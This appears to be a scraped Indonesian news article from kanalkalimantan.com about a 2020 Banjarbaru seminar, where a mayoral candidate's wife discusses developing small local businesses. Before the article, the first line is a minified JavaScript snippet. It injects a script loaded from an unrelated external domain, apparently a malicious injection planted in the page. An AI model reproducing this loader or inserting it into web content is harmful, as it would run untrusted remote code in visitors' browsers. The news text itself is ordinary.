(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – UMKM alias Usaha Mikro Kecil Menengah merupakan salah satu bisnis yang paling banyak digeluti, termasuk kelompok masyarakat di kota Banjarbaru.
Bahkan, produk-produk hasil UMKM di kota berjuluk Idaman memiliki potensi besar untuk menembus pasar ekspor.
Hal itu diungkapkan Vivi Zubedi, Founder dan Head Director Industri Kreatif Syariah Indonesia, saat menggelar kegiatan seminar “Creativepreneurtalk”, di Posko Kemenangan pasangan calon (paslon) Aditya Mufti Ariffin-Wartono, Kamis (15/10/2020) siang.
Vivi desainer di kancah internasional ini membagikan pengetahuan dan pengalamannya kepada para pelaku UMKM di Banjarbaru, khususnya kaum ibu dan milenial putri. Baginya, penguatan dan pengembangan UMKM harus menjadi prioritas para calon yang akan menduduki kursi Wali Kota dan Wakil Wali Kota Banjarbaru selama 4 tahun ke depan.
“Di sini saya ingin menyampaikan sedikit visi dan misi program yang diusung paslon nomor 2, Aditya-Wartono. Saya sebagai istri Aditya mendukung program yang diusung paslon nomor 2 yang berfokus pada persoalan UMKM di Banjarbaru yang belum berkembang,” katanya.
Wanita berdarah Timur Tengah ini menceritakan pengalaman dirinya yang sudah pernah membawa beberapa produk UMKM asal Banjarbaru untuk masuk pasar nasional, tepatnya pada 2018 silam. Hasilnya kala itu bahkan dinilai sukses dan tergolong stabil.
Kendati demikian, Vivi menilai bahwa saat ini masih banyak produk UMKM di Banjarbaru yang belum digarap sehingga tak tergaungkan ke luar daerah. “Untuk itu, Insyaallah ke depannya yang saya pikirkan adalah bagaimana menciptakan sebuah program secara holistik untuk UMKM Banjarbaru,” harapnya.
Selain itu, Vivi juga menyoroti belum adanya wadah untuk mengembangkan UMKM di Banjarbaru secara holistik.
Maksudnya, ialah wadah untuk mengembangkan UMKM dari dasar sampai pada tahap atas. Apalagi, menurutnya produk UMKM di Banjarbaru, khususnya fashion dan food, sangat berpotensi untuk dipasarkan ke luar daerah.
“Jadi, memang UMKM di Banjarbaru hingga saat ini masih produk lokal. Benar-benar hanya local people. Nah, program yang saya pikirkan yang sifatnya masih rahasia dan krusial, Insyaallah ke depannya bisa memasarkan produk ke luar daerah. Potensi itu ada, tinggal dikelola aja,” lugasnya.
Seminar yang diselenggarakandesainer modest-wear ini, mendapatkan antusias dari kalangan kaum hawa di Banjarbaru. Tentunya, kegiatan ini sendiri dilaksanakan dengan penerapan protokol kesehatan Covid-19 yang ketat. (kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar peringatan Hari Pendidikan Nasional (Hardiknas)… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 150 ekor kucing jantan di Kota Banjarbaru, Kalimantan Selatan (Kalsel) mendapat… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel) resmi menetapkan perolehan kursi… Read More
This website uses cookies.